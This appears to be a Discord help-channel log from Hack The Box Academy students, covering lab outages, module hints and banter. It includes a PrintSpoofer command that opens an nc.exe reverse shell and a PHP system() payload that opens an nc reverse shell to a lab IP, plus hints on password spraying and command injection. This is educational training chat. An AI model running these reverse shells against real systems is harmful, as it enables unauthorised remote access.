PS C:\Users\Public> ./PrintSpoofer.exe -c "c:\users\public\nc.exe 10.10.15.65 5555 -e cmd"
||

windows skills assessment part 1, im not getting revshell

[limber river]

glhf

[ruby whale]

I am not sure if this was the right approach, but in Footprint I had a hard time understanding SMB , I searched for every topic related to SMB, it led me to the AD module and attacking common services. I got better understanding of the services, than just by reading the footprinting module and the point where I was stuck got resolved immediately.

[next bronze]

I'm just saying that the boxes aren't very realistic, they have real vlns yes, but not realistic in terms on stucture

[ocean flume]

Dude I mass applied on LinkedIn the other day found some really good positions but they’re not gonna call me 😢

[fathom pendant]

footprinting is meant to just be a brief overview of the topic

it's not meant to be much; it's just saying "Hey here's some signs you're looking at x service"

[limber river]

you will get ur chance don't worry

[fathom pendant]

Attacking Common Services goes deeper into the topics

[ocean flume]

Overall great course material is a lot to read but the way it’s written is very engaging

[ocean flume]

Thanks bro I need some positivity

[ruby whale]

You guys are 🔥. Thanks guys, for responding.

[ruby whale]

I think I am starting to get a feel of this why you are saying the boxes aren't realistic. Correct me I am wrong, in beginning of AD module the scenario the author mentioned was more from mis configuration and lose security controls pov rather some big vulnerability in the structure. I think that's the type of thing you are trying to imply?

[next bronze]

it is still possible to have those kind of vulnerabilities, but misconfigurations are way more common

more realistic means the vulnerabilities/path isn't immediately obvious like the boxes, you will need to dig around and have a sharp eye. in the real world you won't run into a target where only a few services are running

[fathom pendant]

Some modules are written from the author's prior real-world experiences

obviously adapted/modified to fit the module

[ruby whale]

I hope the issue gets resolved soon 😕.

[fathom pendant]

this is entirely the case btw; a lot of hacks come from some misconfiguration that gets taken advantage of or some misplaced set of creds

also if you're planning to do the CPTS exam, you should do them in order, if not then doing modules as you want to is fine

[ruby whale]

Ah 💡 that's why there is more focus on targeted password spraying in the modules

[candid night]

Hey guys, sorry to interupt the conversation. Quick question regarding enumeration module. Why do you think nc can get the banner of the service when the nmap can't in this example? I already got the flag but im just curious why I can get it via nmap. Hope I'm not revealing too much information in the ss

[fathom pendant]

that's a completely subjective question tbh; also not really related to academy modules (aside from the 'suggested boxes' after you complete a module)

[next bronze]

is discord also shitting the bed now? images aren't loading

[fathom pendant]

nmap doesn't grab all the information sometimes; if a service is slow to respond or doesn't broadcast it's info all the time then nmap doesn't know what it is; also the version scan only really checks if the service is a standard service name

training? not really; practice, yes

https://tenor.com/view/epic-embed-fail-ryan-gosling-cereal-embed-failure-laugh-at-this-user-gif-20627924

[fathom pendant]

it's likely compression due to the size

you need to link your htb account to the discord following #welcome

training would be learning new skills; practice would be applying skills

[ruby whale]

For me practice is like reusing the concepts I learned in the training

[fathom pendant]

you can train AND practice at the same time

[agile torrent]

academy provides training, labs provide practice (i think)

[fathom pendant]

Training is on HTB academy - any of the tier 0 modules are free. And HTB labs are good for practice, any active content is free

[ruby whale]

For example you are trained in nmap in enumeration module , but as you use nmap in others modules you get more familiar with nmap that's practice

[zenith mesa]

hi good ppl, a quick question, is anyone's academy module/page being very unstable right now?

[fathom pendant]

i mean if you wanna read a bunch of stuff

[ruby whale]

I can't comment on that , but academy modules was a good training method.

[agile torrent]

if you don't zone out reading manuals, sure. training would also provide why to use certain tools

[fathom pendant]

HTB Academy focuses on applied training

as in; it gives you a scenario, examples, and syntax then provides a contained lab for you to apply that newfound knowledge

it doesn't just throw the whole boat at you

it can be; if that's more your speed

but that's all up to the individual user ¯_(ツ)_/¯

then jumping into HTB labs is fine if you wanna just fuck around and find out on live machines

VIP gives you access to retired machines, which have writeups available

yep; and there's tons of retired content out there

[next bronze]

it would be very hard to get started on labs without some basic knowledge

[fathom pendant]

up to you

if you don't care about retired content/reading writeups for machines to learn from then it's not worth it for training/learning

the Starting-Point boxes on HTB Labs can give you a bit of a foundation

[next bronze]

go do a starting point box, if you can finish it without looking at the walkthrough then you can carry on

[fathom pendant]

if you're running a machine using the vpn, then there is no time limit

even for a free user

the time limit is solely for the pwnbox (in-browser vm)

that's a personal question LOL i can't tell you one way or the other how to spend your money

we're also wandering off-topic from this channel

if you wanna chat more about this you can ask in #general after following instructions in #welcome

[ruby whale]

Quick question are we allowed to use pwnbox during CPTS ? ( I cant run hashcat on my setup memory issues 😭)

[next bronze]

yes

[candid night]

What would you say would be a good rule of thumb for these kind of services? When the port is not open/closed and looks strange just double check it with nc or some other tool?

[fathom pendant]

it would be stupid if not

[next bronze]

but if your setup could run a vm then it can run hashcat, run it in your host

[fathom pendant]

it depends, i'd check other open services first before going onto filtered ones

[candid night]

Just purely htb rn

[fathom pendant]

services in this case being what's being broadcast on a port

which is universal not just for htb

[candid night]

With htb unlikely as you connect to their vpn

[fathom pendant]

miniscule

but if you can connect to the website/ip then it's not filtered

[next bronze]

that's not really how it works, if something is geolocked they'll do more than just asking what country the request is from

[fair basin]

I have been working on the task "https://academy.hackthebox.com/module/113/section/2139" Attacking Common Applications Attacking Thick Client Applications for 3 days, the Windows VM is so slow that you can hardly work with it. I have started a new one after a few hours, this did not help either, I have also changed my VPN etc also no improvement, I also have the same problem via the Pwnbox machine.
So I can't manage the task, is there any support from HTB?
I'm really exhausted, I've been sitting at it for about 15 hours and can't get any further!!! 😭

[snow ridge]

@fair basin I can help you in dm's I did it 2 days ago and was also having problems

Is that ok?

[fair basin]

yes plz

[undone cypress]

Hello, is there any information with access to the target machines?
I have been unable to connect to the last task in the module for half a day - "Introduction to Windows Command Line"
Maybe there were some problems on the server, there were announcements?
Or is it just me?

[ruby whale]

They are working on that issue.

[fathom pendant]

change vpn region, see if that fixes it

[undone cypress]

Is there a separate chat with announcements or problems?
For information to monitor?

[fathom pendant]

no; most you can do is chat support on the website to raise the issue

in-general backend support isn't on the discord

sometimes in #1024429874246590575 they'll pin a staff message related to issues

[languid fjord]

We’re aware of it

[undone cypress]

Changing the region is already when you know what to connect to, but the VPN does not work.
It's different here, I don't get the address of the box itself)))

[languid fjord]

^

[fathom pendant]

it still works as the target is spawned according to the vpn region

some regions seem to be fairing better than others

[molten prawn]

having an issue starting machines in the Cross-Site Scrpting (XSS) module. is it an issue with the module itself or is the issue on my end ? i have not had such issues before .

[undone cypress]

Ah, now it's clear, this is a common problem.
That's why I clarified it, thank you.
Then we are waiting.

[fathom pendant]

read pinned

[molten prawn]

sure

[fathom pendant]

it seems to be an intermittent issue

[molten prawn]

okay thanks

[fair basin]

After changing the VPN region to EU Academy 2, the VM no longer comes up.
Where can I get a status page if VM or VPN of Academy HTB have problems etc...?

[storm hedge]

Hello,
I'm having issues with the lab environment for the pivoting modules.
Every time, I try to start the target, it gets stuck on tarhet is spawning
I tried with 2 browsers

[snow ridge]

@fair basin I don't know if there is any status pages. But they are aware of the current problems and hopefully we will get some kind announcement when its fixed

@storm hedge Check pinned messages

[fathom pendant]

it's an issue that started Saturday

[fair basin]

II already had these problems on Friday,

[molten prawn]

then i am just unlucky

[novel swallow]

I already have administrator permissions, but it says I have a flag error, is it because of the network?

[molten prawn]

whats your issue again and where is it ?

[storm hedge]

P@snow ridge thank you

[molten prawn]

for the ones who have issues with the target machines, change your vpn to EU 1 . seems to be working for me

[fair basin]

I was on Eu 1 before that, in EU 2, the Windows VMs do not start at all

[limber river]

the labs down again or what ?

I was waiting for hydra to finish for more than 30 min , then I notice the lab is already down

[fair basin]

i have switched to us 3, it looks like everything is running

[fleet mason]

https://status.hackthebox.com/ the status page shows that the labs are working???

[rough tree]

Hello guys,I am doing the Bleichenbacher Attack from Attacking HTTPS/TLS accademy module and I am stuck at the first lab. Seems like the Bleichenbacher.jar can't parse local pcap without bypass the check connection(at least the -skipConnectionCheck**) is not working. Anyone who had same issue?
PS: I managed to find the supplementaty flag but not the mandadory one
Nevermind got it!

[limber river]

eu academy ones are not

[limber river]

thanks !

can't ping the target lol

[fleet mason]

doesn't work for me either

[limber river]

us 3 looks fine

[crude token]

The spawning works for me after about five tries on average

[woven copper]

hello there , is spawning not working ?

[shell oak]

I havent been able to get any of the academy machines to spawn on the AD modules either. It just hangs at 'Target is spawning'.

[inner oyster]

Pinned message: "We are aware of problems regarding spawning/connecting to targets.

Our team is investigating this and we will provide updates/further information when it becomes known."

[topaz holly]

Is there going to be anything done with the weekly streaks on HTBA? It feels kind of like really random feature.

Oh and crazy you guys are still having trouble connecting. I had a bit of troubles day before yesterday and seen a lot of people post about this problem on Reddit. I was able to get the machines to spawn after reloading the page and letting it sit on spawning for a while.

[midnight galleon]

i restarted it like 4 or 5 times

[silver iris]

Look at the pinned message

[midnight galleon]

look at the context of my message

[silver iris]

nvm didnt see, sry

[midnight galleon]

yeah np

[alpine ridge]

Anyone able to give me a hand with active directory skills assement 2 getting flag from desktop on sql01

[dreamy trail]

In Academy, I seem to be able to spawn hosts fine, but having connected with xrdp it is very flaky and keeps disconnecting with 'network disconnect' error - is this likely related to the on-going issues?

[languid fjord]

https://www.hackthebox.com/blog/academy-streaks

TL;DR We are currently working on rewards that studious hackers will benefit from. We are still in beta, but building out the rewards structure is on the list!

[primal drift]

I had a streak of almost 600 days on tryhackme but for some reason it didn't count me one day. I always wait a week for their emails, so I wrote on their discord on the support channel "check the logs". I got banned because moderator decided that "it's not tryhackme related" xD please tell me that if something goes wrong on htb academy, you won't ban me for no reason, I don't want to be hurt a second time

[supple gorge]

congrats on the 600 days streak

[hoary sail]

I'm working on DNS section of Footprinting module in HTB Academy. There is a (fourth) question in the section relating to finding certain FQDN for a host ending with .203. I enumerated the service based on the advice in the section and utilized all wordlists available. No joy. Can somebody give me a hint?

[vital adder]

that's a bit unusual, also it happened to me once (i think my streak was 400+) but as long as you are being respectful on their discord and ask nicely through their support email they could restore your streak

at least for me

[supple gorge]

getting banned for unrelated topics is tough. You'll have 2 people telling you to read #welcome and say wrong thread tho. But i haven't seen anyone getting banend for that. Maybe for serious rule break, but hard to confirm

[acoustic owl]

Find all DNS Zones

[fathom pendant]

i believe this one may require a tool as well; but the section refers to this tool

[supple gorge]

I don't understand the difference between tehnical and non technical notes.

I just have notes, that I take while I'm reading the module...

[hoary sail]

well, the tool does not recognize that, despite the fact that all (on the pwnbox) wordlists were used.

[fathom pendant]

subdomains of a subdomain

a.b.inlanefreight.htb

[hoary sail]

ok, that's the issue ...

[limber river]

you need to find all the hosts

[fathom pendant]

non-technical: "This shit's fucked"
technical: "Due to a misconfiguration of a service/privileges, shit's fucked"

[supple gorge]

haha, but how can I take non tech notes from the module?

Run some commands to do shit?

[fathom pendant]

non-technical is just another way to say, informal

[supple gorge]

do you do that marcie? separate notes into tech and non tech?

[fathom pendant]

aka you understand it, but others might not

i don't really, but that's also because I come from having tech support experience

so I'm used to taking notes on a process

[supple gorge]

makes sense

[limber river]

is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts' someone know how to solve this ?

[languid fjord]

imo its more "high level" then informal, no?

[rich wraith]

Intro to Bash Scripting module -> Arguments, Variables, and Arrays section, the output below isnt correct I think, it would be permission denied

[fathom pendant]

non-technical at least to me means that it's not using technical jargon/phrasing to convey things.
"System is not powering on" would be non-technical
"System not powering on due to No POST" would be technical.
it just depends on the degrees and type of details.
A technical documentation would be able to retrace steps to be able to recreate the steps, non-technical will be more vague and likely have more gaps in understanding/making assumptions of the reader

i had to take mostly technical notes as all documentation was taken as legal documentation as well, in case a customer needed/wanted to escalate w/e issue they were having to legal

in the technical notes; we were not allowed to use swear words - we had to censor them if we are quoting the customer verbatim

[gleaming cairn]

Can anyone give a hint on the ADCS Attack Skills Assessment? I can't find any way to compromise host 'DEV01' or user 'J*'. I have tried all the attacks in the module but none of them pass. ESC8 and ESC11, which are displayed in the module, require the group rights that 'J*' has. And for the other attacks the user has no rights. I also know that user 'T**' is in the VPN_Users group and has enroll permissions on it, but can't do anything.

[next bronze]

esc8/11 does not require any particular right,s you're targeting and coercing the machine account for an authentication

[gleaming cairn]

||Wow, I saw your review on this module, what a coincidence that you are here haha||
I've tried multiple times and can't get a certificate, all I get are request id's that I can't approve

Moreover I tried this on all active certificates but it did not give any result

[next bronze]

you know that you need to target dev01, and you know where the CA is, so try coerce and relay

[fathom pendant]

@civic dawn : don't DM me without asking permission

[supple gorge]

Is that a thing, lol, I just get message requests once very two days.

Also, I think i did message you without requesting, I don't remember. I apologize if I did hehe

I ignore anyone that sends a friend request out of the blue tho. I get about 4 per week lol

[fathom pendant]

I generally ignore

[next bronze]

if you chat here frequently you'll get lots of those

[solar flicker]

I'm a bit curious why not just disable dm's from server members?

[supple gorge]

gotcha.

@fathom pendant can I send you a hi on dm?

Doing the formal process lmao

[supple gorge]

I don't mind, I'm ok with helping when I can, and I can't stay on modules since I can't help with 80% of problems here. So i just stick with the dms and people who post on cdsa

[fathom pendant]

since you asked: no

[solar flicker]

🤷‍♂️ i dunno it just seems odd to me.

[fathom pendant]

if i disable it and want to offer help, i then have to add the person as a friend, which I don't want to do

just extra steps to the process if it's disabled

[solar flicker]

I guess the reason why im confused is if they need help then they should be asking here

[supple gorge]

I'll try again later lmao.

Oh, can I send a POST request to your discord's address lol... I'll send that later when I remember. (ignore for now)

[supple gorge]

that's true. For cdsa tho I understand, there's much less support for cdsa here

[fathom pendant]

You'd think that's the case

but also there's times where it's completely unrelated

¯_(ツ)_/¯

[supple gorge]

Thank you for your service/help to the community @fathom pendant

[rotund sphinx]

hi, trying to get back into my course after a few months break for 1 reason or another, struggling with password attacks module.

anyone able to give me a hint/nudge in right direction

on the password reuse/default passwords module, i can ssh fine (using credentials i got on the step before)

i am guessing that the mysql password is some alternative variation of the same root word as the ssh password (if its not then i feel the module is very misleading) and i have a wordlist with a bunch of those options. im not too sure which username but i have been trying root along with a few of the previous names from this module but no luck so far

i have also found an encrypted zip file which i have so far failed to break into and not sure if that is relevant to the task or not

i feel like ive struggled a lot with these bruteforcing tasks in general, i never feel like i know what lists to use and then i end up either not getting a hit or it takes hours and then still doesnt give a hit 😦

[fathom pendant]

it is not; there's a default cred cheatsheet

[rotund sphinx]

i did try default mysql creds too but they didnt seem to work

[fathom pendant]

there's a handful of them and one definitely will work; note you have to be signed in as the user to access the mysql db

so ssh as sam then do a check for the mysql creds

[midnight galleon]

can i get any help on this, i am in the verge of losing it

[rotund sphinx]

ok im in but i have never heard of that mysql user and cant find any reference to it on google. thanks for help though

[fathom pendant]

the section gives you a mysql cheatsheet

[lusty thicket]

what section

[fathom pendant]

the sequence is ssh as sam -> mysql -u <user> -p

[midnight galleon]

what i have tried so far
curl -i -X [all 9 verbs] url?file; cp /flag.txt ./(encoded)
used burp,with all 9 verbs too
tried using a verb and then use get request without the injection to check

[midnight galleon]

Bypassing security filters, web attacks

[lusty thicket]

have you tried through burp suite?

[midnight galleon]

HTTP verb tampering sub section

[midnight galleon]

yes

[lusty thicket]

can i see the request?

[rotund sphinx]

ye thats how i found it, but i had been looking through mysql docs and stackoverflow for mysql default password and there are a few options but none of them had worked 😦

i guess the lesson is to fully explore all the links in the info rather than trying to use my previous knowledge + official docs of the apps involved

[fathom pendant]

the cheatsheet is a compilation of old and new defaults; plus known defaults that people have used in the past

reminder: this module is about password attacks - so no need to get crazy with trying huge lists. This is where paying attention to what your reading helps 100x more than just trying to get through it for the sake of it

also: save creds you find

[rotund sphinx]

i get that part, thats why i felt like once i was pushing hydra config past a few hundred variations i was going wrong, i just felt like i had enough experience with mysql that i had covered the default creds and so it felt like it was going to be the password reuse side rather than the defaults, ofc now i realise i was wrong there and i will try to remember this tool in future even for applications i feel like i know

[lusty thicket]

that’s not how the options method works

right click -> change request method

and send it again

[plucky latch]

Am I the only one having issues spawning my target's, lately it sometimes takes 5 or 6 refreshes as "Target is spawning" stays the status for 20+ minutes, and I refresh and it prompts me to spawn target again... Wasting 2 or 3 hours every day to get a Target spawned is not my idea of a good time.

[fathom pendant]

try changing vpn regions

[rotund sphinx]

only done 2 so far today but both spawned pretty fast

[devout pelican]

Hi, may I DM you with the this problem too? I stuck and dont know the missing or wrong parameter.

[buoyant escarp]

why is that, rubeus can do it without admin rights?

[plucky latch]

Thanks finally worked on my 3rd different region

[agile torrent]

extract from the rubeus github

With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with /ptt), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the /createnetonly command to create a sacrificial process/logon session, then using /ptt /ticket:X /luid:0xa.. with the newly created process LUID. If using Cobalt Strike, using the make_token command with dummy credentials and then kerberos_ticket_use with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.

[buoyant escarp]

thank you

[agile torrent]

theres a few paragraphs about what exactly it means about 'LSASS not being touched' just above it

[acoustic owl]

sure

[buoyant escarp]

dang target spawns but cant ping, its unreachable :/

what do i do now with my free time xD

[fathom pendant]

cry

[buoyant escarp]

i dont

[supple gorge]

do a module that doesn't have targets?

Go touch grass?

[upper crest]

is web cache poisoning from abusing http misconfiguration module still feasible ??

[buoyant escarp]

nah have seen enough from the RL today, was working and then buying a car for GF xD

but the part with modules without target is a good idea

[fathom pendant]

it's not likely

web cache would be more for intranet type stuff, so it's feasible but on a wide-scale/public not likely

[upper crest]

sorry, i mean, during the module when i try to poison the web cache, it seems that the "admin" is not visiting the the website 🙂

[buoyant escarp]

do you guys prefer mimikatz or rubeus? or do you use both

[fathom pendant]

should be

[native turtle]

guys, still can't spawn the target system on pivoting tunnelling and port forwarding room...

I don't know what I can do

[fathom pendant]

just be patient

it seems these issues have been intermittent

[native turtle]

it's like an hour that shows target is spawning

[upper crest]

i was facing the same issue yesterday, maybe take a break and come back later

[maiden field]

When I try to spawn target I get this error: You don't have enough permissions to create a genesis.

[fathom pendant]

that sounds like an issue on https://app.hackthebox.com ?

[maiden field]

I'm using enterprise hackthebox but yesterday it was working

[fathom pendant]

ah then you should probably message support

Genesis is an Enterprise Prolab from what i know

(which isn't a lot)

[maiden field]

I've contacted support thanks

[acoustic owl]

You practically live here. You know a hell of a lot and you share your knowledge here. I really appreciate that

[fathom pendant]

now if only i could summon the motivation to finish cpts path

the AD enum module zaps the life out of me whenever i do even a section

[urban sage]

Rough topic or rough module writing?

[fathom pendant]

it's just the mental toll

like my brain understanding it takes a lot

[buoyant escarp]

thats whenever i have to deal with windows

[acoustic owl]

if you need help, just ping me

[fathom pendant]

but that's just a process of how i learn. I strive to break down the given commands and it works

It's just a lot of mental energy

[buoyant escarp]

[urban sage]

Gotcha. That's fair. AD is a lot.

[fathom pendant]

but I can understand the individual portions of commands at least

(also funny that sometimes PowerView and ActiveDirectory powershell modules conflict)

[supple gorge]

so... i got curious. Great work

[thorn urchin]

a lot of it is foundational knowledge and learning about internal pentesting mindsets which is different than external stuff.

tough now but will make future similar topics way easier to grasp

[fathom pendant]

light work

[thorn urchin]

tbf thats all of the sever

[supple gorge]

you have a similar number lol 39k

[supple gorge]

I think it's fair to say you've helped thousands of people, even if counting all server

[thorn urchin]

its 21k for modules

[fathom pendant]

¯_(ツ)_/¯

[supple gorge]

@fathom pendant charging 1$ for each help lmao

[thorn urchin]

Marcie probably could charge for CPTS tutoring

[fathom pendant]

I'd have to complete it first

[thorn urchin]

I think any takers would be dumb for relying on outside help, but Marcie would def earn money lul

[fathom pendant]

[supple gorge]

could be helpful on explaining the material tho

[fathom pendant]

it is funny though when i guide people to the answer they were already staring at

[acoustic owl]

Maybe Marcie will soon become a trainer for CPTS courses
https://cyberhelmets.com/etn/certified-penetration-testing-specialist/

[supple gorge]

#recruit marcie

[fathom pendant]

i think it was last night or something

going back a step every time new progress was made with A getting-started section

can't talk too much shit bc i've been there

but it is funny

[supple gorge]

going back to "getting started" module? I just glanced through it and it seems like a summary of the path, pretty awesome.

[buoyant escarp]

marcie are you a Discord AI bot? u are always here, do you even sleep?

[supple gorge]

eexaactly, it's rare to jump here and not find marcie... Maybe they're a highly advanced AI made by HTB in secret

[buoyant escarp]

yeah it consumed all 46k messages and impersonates marcie perfectly

[fathom pendant]

someone had a question about the privesc section of the module

[acoustic owl]

Marcie lives here.

[fathom pendant]

https://tenor.com/view/hes-in-the-walls-in-the-walls-wall-muppet-panicking-gif-27546618

[supple gorge]

oh gotcha, I'll get to it between this week and next. Looking forward to it, looks like an amazing module

[supple gorge]

What's up with the walls joke?

my school ran a blue team competition. and red team was saying they were in the walls all the time

[fathom pendant]

the entire module, as you can guess, is VERY basic. Exactly what it says on the tin

[rotund sphinx]

this is starting to feel like bullying 😦

[fathom pendant]

In the walls is a cheeky way of saying "I'm watching everything you do"

as if i know things that i'd have to be in the same room as you to know

[thorn urchin]

yeah its just a pop culture idiom

[rotund sphinx]

just cos some of us failed the first question you dont have to tell everyone

[fathom pendant]

never said i was referring to you?

[supple gorge]

yup, no clue who they're talking about

[thorn urchin]

referencing cases where people had intruders living inside their homes without their knowledge. Literally hiding in the attics and walls and stealing food when the home owners went to sleep

[fathom pendant]

I don't believe in @ anyone unless they absolutely deserve it or I know they can take the joke if i'm poking fun

[supple gorge]

that's freaking wild

[buoyant escarp]

tapeworm mentality 😄

🪱

[fathom pendant]

did you know some homes have hidden razors in the walls? super crunchy

[thorn urchin]

so 'Im in your walls' is meant to be an evocative and creepy way of Im watching you by being closer than youd think possible

which is very appropriate in red vs blue team context lul

cause red team can absolutely be inside the blue teams metaphorical walls

[supple gorge]

lol, the red team discord was going wild with that lmao

Red team was in all boxes hehe

[fathom pendant]

https://tenor.com/view/ahead-of-you-gif-18442352

[buoyant escarp]

always red

[thorn urchin]

I love how iconic that line is but mario actually loses in the video

even though itself is just a reference to one of the greatest technical youtube videos ever

[languid fjord]

gotta step it up

[fathom pendant]

it's a beefy 12 layer burrito of a joke

[buoyant escarp]

omg u a chatbot

[supple gorge]

since 2019 huh, so that's 5 years, awesome

[thorn urchin]

165 in modules smh

[supple gorge]

smh, learn from marcie lmao

[languid fjord]

worked here over 3 years now lol

[languid fjord]

tru tru

[fathom pendant]

I also have a knack for understanding stupid

[supple gorge]

did you get that form help desk life ? lol /j

[fathom pendant]

yes, actually

the average end user is not that bright

[supple gorge]

I wish I could say that's not true

[thorn urchin]

I like to tell people that im fluent in idiot

[fathom pendant]

pro-tip, don't wear a magnetic bracelet when using a laptop

[thorn urchin]

I have often translated for others

[languid fjord]

tbh, i think its better to say theyre just uneducated /unaware

cause most people arent stupid, they just dont know

[fathom pendant]

and some are willfully ignorant

[supple gorge]

but what if they don't want to learn/no effort to try to learn

[buoyant escarp]

thats optimistic

[languid fjord]

Those people do exist too

But i try to see the good 😄

[fathom pendant]

i can lead a horse to water, but can't make them read the documentation ¯_(ツ)_/¯

[rustic sage]

Apropos not being that bright; Someone done Analyzing Evil With Sysmon & Event Logs, third exercise? I'm having some issues with not seeing anything with Event ID 10 in Sysmon. I have tried updating sysmon config to no avail :/

[supple gorge]

is this event viewer analysis?

[rustic sage]

yes, with sysmon

[supple gorge]

do you have the sysmon log? Is it populating with stuff?

[rustic sage]

Yes it updated earlier, but none with correct event id

I might be blind, double check if other id is updating

[supple gorge]

is the question maybe asking you to analyze a specific log file?

[rustic sage]

Nope

[supple gorge]

big sad, I don't have notes on this section, can you dm me what the question is asking, or maybe put it here

[cedar forum]

hey guys, im doing the getting started nibbles part, but im having trouble setting up the reverse shell connection

[fathom pendant]

make sure you use your tun0 ip

[cedar forum]

it should be pretty straight foward, since they literally give the correct solution, but for some reason it's not working...

[cedar forum]

yeah, i am using it

[fathom pendant]

not the one provided by the example

[cedar forum]

ikik

[fathom pendant]

and make sure you have the listener running

[cedar forum]

yes

[supple gorge]

if you're not analyzing a specific log file, and you're analyzing the system, then I'd assume you would need to replicate the memory dump attack for a log id 10 to be generated

[cedar forum]

and i curled the target

and the ports match

the listener isn't catching anything though

[supple gorge]

never done that module and have no clue what you doing, but is it listening on the right port?

[cedar forum]

both are on 9443

it was the one provided by the example, so i did not deviate

i just coppied the script and changed the ip to tun0

which i believe is the ipv4 on windows if you're using the openvpn app

[rustic sage]

Yes, I use mimikatz and dump credentials. But for some reason there is no output with regard of event id 10 :/

[fathom pendant]

you're talking about the php file you upload yeah?

[cedar forum]

at least it looks like it

[cedar forum]

yeah

[fathom pendant]

are you visiting the given resource uri. if you go to the webpage you should be able to see if it's doing anything

if it's hanging - then it's connecting

[supple gorge]

hmm... can you dm me some screenshots? I don't want to go back to the course

[fathom pendant]

if it's not then something went wrong

[rustic sage]

@supple gorge will do boss

[vestal crescent]

Can I skip this module for now without too much issue down the line?

[cedar forum]

it hangs

but it doesn't connect in the end

it hangs for a long while

[lusty thicket]

you can

[cedar forum]

and then prints nothing

[fathom pendant]

that's odd

[vestal crescent]

ty 🐱

[fathom pendant]

what is the php code you uploaded?

[cedar forum]

is it okay if i show my tun0? 💀

i dont think that is a good idea

[fathom pendant]

yeah it's fine

[cedar forum]

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.98 9443 >/tmp/f"); ?>

[gray shoal]

can anyone help me? in the "linux fundamentals models" the second question is "What is the path to htb-student's home directory?" how do i find it?

[acoustic owl]

Look again in the module to see where the home paths are

[cedar forum]

the path to a file usually looks like this /something/other/this

[fathom pendant]

and when you curl/visit that page in your listener do you get a connection?

[cedar forum]

wdym in my listener

[fathom pendant]

echo $HOME also works

[gray shoal]

this was the previous question, i aswered /home/htb-student and it was correct, but i never saw a mailing folder? help

[fathom pendant]

the nc -lvnp 9443

[fathom pendant]

env

[cedar forum]

do i have to curl after listening?

[fathom pendant]

yes

[cedar forum]

i used a diferent terminal

[fathom pendant]

in another terminal curl that webpage

[cedar forum]

okok

[gray shoal]

?

[cedar forum]

yeah i did that, didn't work

[fathom pendant]

env is a command

it lists all environment variables

one of those may be the mail

[cedar forum]

it hangs, but still no connection

[fathom pendant]

weird

[gray shoal]

so how to use it? env mail?

[fathom pendant]

just env

[cedar forum]

im going to sleep, im way too tired for this

xDDDDD

[gray shoal]

yes i see a lot of information after typing it, but how do i know the mail path?

[fathom pendant]

the one likely labeled MAIL

[onyx robin]

Hi everyone! Can anybody help me? I'm tryng to create a simple task in windows with a schtasks and a simple script of greeting at every logon...everything seems correct to me, if i run the task in cmd with my user the system return SUCCESS, but if i re-log in my account, nothing happen! what can block my task?

sorry for my english but i'm italian!

[fathom pendant]

if you're ssh into the target system as htb-student user - you should be able to find it

[fathom pendant]

what Module and Section?

[gray shoal]

i logged to the target but im not finding it

[onyx robin]

introduction to windows command line....working with scheduled tasks

[rustic sage]

Read the question closely... (for future references)

[supple gorge]

using gui? what is the trigger to the task, is it properly configured to user logon?

Is the action properly configured to the script.

[fathom pendant]

does your terminal show htb-student@whatever?

[gray shoal]

htb-student@nixfund:~$

[supple gorge]

does the task mark as running? If you manually run the task, does it do what it's intended?

[onyx robin]

yes, if i run in cmd with my user, it report success

[supple gorge]

I'm talking about using the gui to check

cuz I'm assuming you're creating a scheduled task right?

[fathom pendant]

do you not see one that has mail in it?

[onyx robin]

yes, with the app task scheduler if I run the task nothin happen

[gray shoal]

i only see the terminal and not the GUI now, and i dont see mail.

[supple gorge]

then the action part might not be working properly

[fathom pendant]

weird because when I run env in the ssh session i see it

[gray shoal]

is it possible that things somehow messed up during my learning?

[fathom pendant]

nope

[fathom pendant]

env | grep -i mail

[onyx robin]

can I do something to make it work?

[rotund sphinx]

can always try respawning the target if you are worried that the box has been broken by something but unlikely here tbh

[supple gorge]

on the gui, check the action part, and see what it says, are there are mistakes in it?

[mint gale]

Hi
I'm working on the crackmapexec module, and in the Password Spraying session, I'm supposed to use a list of users to conduct some tests. The session itself shows some examples, but it clearly states that I should use a complete list. The problem is that there's no source provided in the module for obtaining this complete list of users. Am I missing something here?

[gray shoal]

thanks it now shows me the path htb-student@nixfund:~$ env | grep -i mail
MAIL=/var/mail/htb-student
htb-student@nixfund:~$

[fathom pendant]

yep that's it

[gray shoal]

i love you

[supple gorge]

is it not on module resources?

[fathom pendant]

you can see it in the full list as well

[mint gale]

there is no resources is this module, only the cheat sheet

[fathom pendant]

top right hand part of the page?

[gray shoal]

it says the answer is incorect lol

[onyx robin]

no mistakes

[gray shoal]

MAIL=/var/mail/htb-student

[fathom pendant]

well yes; because that's the environment

[gray shoal]

i guess without the mail

[fathom pendant]

you need to take that first part out

MAIL=

[supple gorge]

can you send me a screenshot? I haven't done that module but I can try to help out

[gray shoal]

thank you for your help and your patience really

[fathom pendant]

you can also echo $MAIL

[gray shoal]

too advanced ^^

[fathom pendant]

not really

if you know the environment variable is called MAIL (which can be guessed) then you can do
echo $VARIABLE to have it print in the terminal

so echo $MAIL will print the MAIL variable in the terminal

[mint gale]

there is no resources is this module, only the cheat sheet

[fathom pendant]

oof

[supple gorge]

mood, maybe rockyou?

the windows module teaches how to create a scheduled task through cmd?

cuz if so, I'm definitely checking it out

[zealous wadi]

Are module target VMs not spawning for anyone else?

[mint gale]

I've tried, but in the module example, there are only a few random names, not even real usernames. So using seclists is taking a long time and leading nowhere. Thanks anyway.

[gray shoal]

another question please, the question i get is : Which kernel version is installed on the system? (Format: 1.22.3)
so im typing uname -v , but what i get is :htb-student@nixfund:~$ uname -v
#126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020
htb-student@nixfund:~$

[supple gorge]

oh it's a tier 3... can't check it out... sorry bud, good luck tho 🙂

[supple gorge]

I know the attacking password module has a list of users in the module resource

[gray shoal]

nevermind it was uname -r

[acoustic owl]

https://linux.die.net/man/1/uname

[rotund sphinx]

try some different options with uname , you can run uname --help to get the full list of available options

[gray shoal]

also uname man right

i just started few days ago thanks guys

[rotund sphinx]

also 1 trick with uname if you cant remember which option gives the info you want you can use -a which will output everything :p